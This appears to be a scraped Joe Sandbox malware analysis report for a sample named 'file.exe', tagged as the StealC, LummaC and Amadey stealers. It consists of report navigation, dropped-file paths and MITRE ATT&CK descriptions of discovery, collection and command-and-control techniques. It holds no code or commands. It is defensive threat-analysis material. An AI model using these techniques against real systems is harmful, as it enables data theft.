Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEHIDAKECFIEBGDHJEB

C:\ProgramData\BKJJJDHD

C:\ProgramData\CBKFBAECBAEGDGDHIEHI

C:\ProgramData\EGDBAFHJJDAKEBGCFCBGDHDGII

C:\ProgramData\FIEHDBGD

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

C:\ProgramData\IJDBGDGCGDAKFIDGIDBF

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre